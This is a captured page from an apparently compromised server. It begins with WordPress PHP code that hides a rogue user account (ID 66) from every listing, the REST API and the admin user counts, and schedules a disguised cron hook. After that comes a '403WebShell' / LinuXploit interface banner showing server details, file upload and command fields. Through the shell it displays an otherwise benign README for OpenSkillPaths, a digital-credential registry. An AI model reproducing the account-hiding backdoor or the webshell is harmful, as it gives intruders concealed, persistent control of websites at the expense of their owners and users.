add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/openskillpaths/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/openskillpaths/README.md
# OpenSkillPaths

A federated registry for open digital credentials. Aggregates public badge class metadata from registered credential issuers (e.g. [Badgau](https://badgau.net)) and serves it as [schema.org/EducationalOccupationalCredential](https://schema.org/EducationalOccupationalCredential) JSON-LD. Also hosts signed skill pathways — structured learning programs published by badge issuers.

Part of a broader open credential ecosystem: **Badgau** (issuer platform) → publishes badge classes → **OpenSkillPaths** (registry) → aggregates, verifies and serves → **Emaji / Emajiwallet** (employer/worker platforms) → consume pathways and credentials.

## How it works

- Registered nodes (Badgau instances, OB3-compatible platforms, LMS) expose a public badge class API
- OpenSkillPaths crawls each node on a configurable interval (default: hourly)
- Nodes can push-notify via `POST /ping` when content changes, triggering an immediate crawl
- Badge classes are upserted into PostgreSQL and served via a REST API
- Issuers sign their badge classes with `JsonWebSignature2020` — consumers verify authenticity independently without trusting the registry
- Pathways (structured learning paths) are submitted as signed JSON, verified cryptographically, and stored with full section/slot structure
- Pathways are also available as [CTDL](https://credreg.net/ctdl/handbook) JSON-LD for Credential Engine interoperability
- Peer registries form a federation mesh — each syncs node lists from other registries

## API

### Badge classes

| Method | Route | Description |
|--------|-------|-------------|
| `GET` | `/badge-classes` | List badge classes. Supports `?q`, `?category`, `?issuer_did`, `?skill`, `?limit`, `?offset` |
| `GET` | `/badge-classes/:uuid` | Single badge class by identifier. Includes `partOf` array listing pathways containing this badge. |

### Nodes

| Method | Route | Description |
|--------|-------|-------------|
| `GET` | `/nodes` | Registered nodes and crawl status |
| `POST` | `/nodes/register` | Register a new node (triggers immediate crawl). Body: `{ url, name?, api_endpoint?, node_type? }` |
| `POST` | `/ping` | Node signals new/updated content — triggers immediate crawl. Body: `{ url }` |

### Peers

| Method | Route | Description |
|--------|-------|-------------|
| `GET` | `/peers` | Known peer registries and sync status |
| `POST` | `/peers/register` | Register a peer registry (triggers immediate node sync). Body: `{ url }` |

### Pathways

Pathways are structured learning paths that define what badges a learner needs to collect to earn a master credential. They are submitted as signed JSON from pathway builders (e.g. [Emaji](https://emaji.net)).

| Method | Route | Description |
|--------|-------|-------------|
| `GET` | `/pathways` | List pathways. Supports `?q`, `?achievement_id`, `?limit`, `?offset` |
| `GET` | `/pathways/:id` | Single pathway by numeric ID, UUID, or master `achievement_id`. Returns full sections, slots, and enriched badge class data. |
| `GET` | `/pathways/:id/ctdl` | Same pathway as a CTDL `ceterms:Pathway` JSON-LD document. |
| `POST` | `/pathways` | Submit a signed pathway. Creates or updates by UUID. |
| `PUT` | `/pathways/:uuid` | Re-publish / update an existing pathway by UUID. |
| `DELETE` | `/pathways/:uuid` | Archive a pathway. Requires a signed proof from the master badge issuer. |

**Key queries:**
- "What pathways is badge X part of?" → `GET /pathways?achievement_id=<url>`
- "What do I need for master badge Y?" → `GET /pathways/<achievement_id>`
- "Which pathways include this badge?" → `GET /badge-classes/<uuid>` (see `partOf` field)

### Credential Engine

| Method | Route | Description |
|--------|-------|-------------|
| `GET` | `/ce/status` | Last Credential Engine sync state (timestamp, counts, errors) |
| `POST` | `/ce/sync` | Trigger a manual CE sync |

### System

| Method | Route | Description |
|--------|-------|-------------|
| `GET` | `/health` | DB liveness check |
| `GET` | `/docs` | API documentation (HTML) |

All responses include a `Link: <...>; rel="license"` HTTP header and a `license` field in the JSON body referencing [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).

## Identifiers

Badge class identifiers are opaque strings — typically resolvable URLs (e.g. `https://badgau.net/badgeclasses/public/{uuid}`), following OB3 and CTDL conventions. The registry stores and matches identifiers exactly as provided by the issuer. Pathway slots reference badge classes by the same identifier.

## Pathway JSON format

Pathways are submitted via `POST /pathways` using the badge album export format. The submission must carry a `JsonWebSignature2020` proof signed by the master badge issuer's DID key.

```json
{
  "uuid": "b54f04ef-1f9d-4150-9dfd-ada879080520",
  "schemaVersion": "1.0",
  "title": "Healthcare IT Specialist",
  "description": "Collect all required badges to earn the Healthcare IT Specialist credential.",
  "isSequential": false,
  "masterBadge": {
    "achievementId": "https://badgau.net/badgeclasses/public/abc-123",
    "title": "Healthcare IT Specialist",
    "imageUrl": "https://badgau.net/badge_images/bc_abc-123.png"
  },
  "sections": [
    {
      "title": "Foundation Skills",
      "position": 0,
      "ruleType": "all",
      "badges": [
        {
          "achievementId": "https://badgau.net/badgeclasses/public/def-456",
          "title": "Data Privacy Fundamentals",
          "isOptional": false,
          "position": 0,
          "issuer": { "did": "did:web:issuer.example.com", "name": "Example Issuer" }
        }
      ]
    },
    {
      "title": "Elective Skills",
      "position": 1,
      "ruleType": "n_of_m",
      "ruleCount": 2,
      "badges": [
        { "achievementId": "https://badgau.net/badgeclasses/public/ghi-789", "title": "FHIR Integration", "isOptional": false, "position": 0 },
        { "achievementId": "https://badgau.net/badgeclasses/public/jkl-012", "title": "HL7 Messaging", "isOptional": false, "position": 1 },
        { "achievementId": "https://badgau.net/badgeclasses/public/mno-345", "title": "DICOM Imaging", "isOptional": true, "position": 2 }
      ]
    }
  ],
  "proof": {
    "type": "JsonWebSignature2020",
    "verificationMethod": "did:web:issuer.badgau.net#keys-1",
    "jws": "eyJ..."
  }
}
```

**Validation rules:**
- `uuid` is a stable client-generated identifier — re-submitting the same UUID updates the pathway in place
- `masterBadge.achievementId` must reference a badge class already in the registry
- That badge class must have a `JsonWebSignature2020` proof with a valid, verifiable signature
- The pathway itself must be signed by the master badge's issuer DID
- Sections with no badges are skipped
- Each section has a `ruleType`: `all` (every badge required), `one_of` (at least one), or `n_of_m` (at least N badges, set via `ruleCount`)
- Slots with `isOptional: true` are bonus badges, not required for section completion

## CTDL export

Each pathway is available as a [CTDL](https://credreg.net/ctdl/handbook) (Credential Transparency Description Language) JSON-LD document at `GET /pathways/:id/ctdl`. The mapping:

- Pathway → `ceterms:Pathway`
- Master badge → `ceterms:hasDestinationComponent` (`CredentialComponent`)
- Sections → `ceterms:hasChild` (`CredentialComponent` with `hasCondition`)
- Rule types → `logicType:AND` / `logicType:OR` with optional `minValue`

This enables interoperability with Credential Engine and other CTDL-compatible systems.

## Stack

- Node.js (ESM) — no build step
- [Fastify 5](https://fastify.dev)
- PostgreSQL (`pg` pool)
- `node-cron` for scheduled crawls
- [`jose`](https://github.com/panva/jose) for `JsonWebSignature2020` proof verification

## Setup

### Requirements

- Node.js 20+
- PostgreSQL database

### Environment

Copy `.env.example` or create `.env`:

```env
# ─── Database ────────────────────────────────────────────────────────────────
DATABASE_URL=postgres://user:password@localhost:5432/openskillpaths_db

# Optional read replica — omit to use the primary for reads too
# DATABASE_REPLICA_URL=postgres://user:password@replica-host:5432/openskillpaths_db

# ─── Server ──────────────────────────────────────────────────────────────────
PORT=3000
HOST=0.0.0.0

# ─── Site identity (used in HTML pages) ──────────────────────────────────────
SITE_URL=https://openskillpaths.org
SITE_NAME=OpenSkillPaths

# ─── Peers ───────────────────────────────────────────────────────────────────
# Comma-separated list of peer OpenSkillPaths registries to sync nodes with.
# BOOTSTRAP_PEERS=https://openskillpaths.org

# ─── Credential Engine (optional) ───────────────────────────────────────────
# CE_API_KEY=your-api-key
# CE_SEARCH_URL=https://apps.credentialengine.org/assistant/search/ctdl
```

### Install and migrate

```bash
npm install
npm run migrate    # creates/updates all tables (idempotent, safe to re-run)
```

### Run

```bash
npm run dev    # development (watch mode)
npm start      # production
```

On startup the server:
1. Bootstraps peer registries from `BOOTSTRAP_PEERS` (if set)
2. Runs an initial crawl of all due nodes
3. Syncs node lists with all known peers
4. Schedules a cron job every 5 minutes for subsequent crawls and peer syncs
5. Schedules a daily Credential Engine sync at 03:00 (if `CE_API_KEY` is set)

## Production deployment

Runs behind an Apache reverse proxy. Process manager: PM2.

```bash
# First deploy
pm2 start src/server.js --name openskillpaths
pm2 save
pm2 startup    # ensure PM2 restarts on reboot

# Subsequent deploys
./deploy.sh    # pulls latest, installs deps, runs migration, restarts PM2
```

**Apache vhost** — proxy to Node on `127.0.0.1:3000`:

```apache
ProxyPreserveHost On
ProxyPass / http://127.0.0.1:3000/
ProxyPassReverse / http://127.0.0.1:3000/
```

## Registering a node

### Badgau (default)

```bash
curl -X POST https://openskillpaths.org/nodes/register \
  -H "Content-Type: application/json" \
  -d '{"url":"https://your-badgau-instance.example","name":"My Badgau"}'
```

### Open Badges 3.0

```bash
curl -X POST https://openskillpaths.org/nodes/register \
  -H "Content-Type: application/json" \
  -d '{"url":"https://your-instance.example","name":"My OB3 Platform","node_type":"ob3","api_endpoint":"https://your-instance.example/api/achievements"}'
```

An immediate crawl is triggered. Subsequent crawls follow the node's `crawl_interval` (default 3600 seconds). Nodes can also push-notify via `POST /ping` when content changes.

See [docs/source-api.md](docs/source-api.md) for the full provider guide covering required fields, pagination, and format details.

## Proof verification

Each badge class may carry a `proof` field — a `JsonWebSignature2020` signed by the issuer at publish time using their DID key.

**For pathways**, proof verification is mandatory. When a pathway is submitted, the server:

1. Reads `proof.verificationMethod` (e.g. `did:web:issuer-key.badgau.net#keys-1`)
2. Resolves the issuer's `did:web:` DID document via HTTPS
3. Extracts the public key (JWK) matching the key fragment
4. Verifies the detached JWS signature against the badge class content
5. Confirms the signer's DID matches the master badge's `issuer_did`

Pathways whose master badge has no proof, an unresolvable DID, or an invalid signature are rejected.

**For badge classes**, proofs are stored and served but verification is optional — consumers can verify independently. Badge classes without a proof are treated as unverified, not invalid.

## License

The OpenSkillPaths registry compilation is licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).

This covers the structured aggregation and registry infrastructure. It does **not** cover original issuer content (credential names, descriptions, competency definitions, badge graphics), which remains the intellectual property of the respective issuing organisations and is reproduced here on the basis of their public disclosure consent.

## Owner

Jan Muehlig — [relevantive GmbH](https://relevantive.de)

Youez - 2016 - github.com/yon3zu
LinuXploit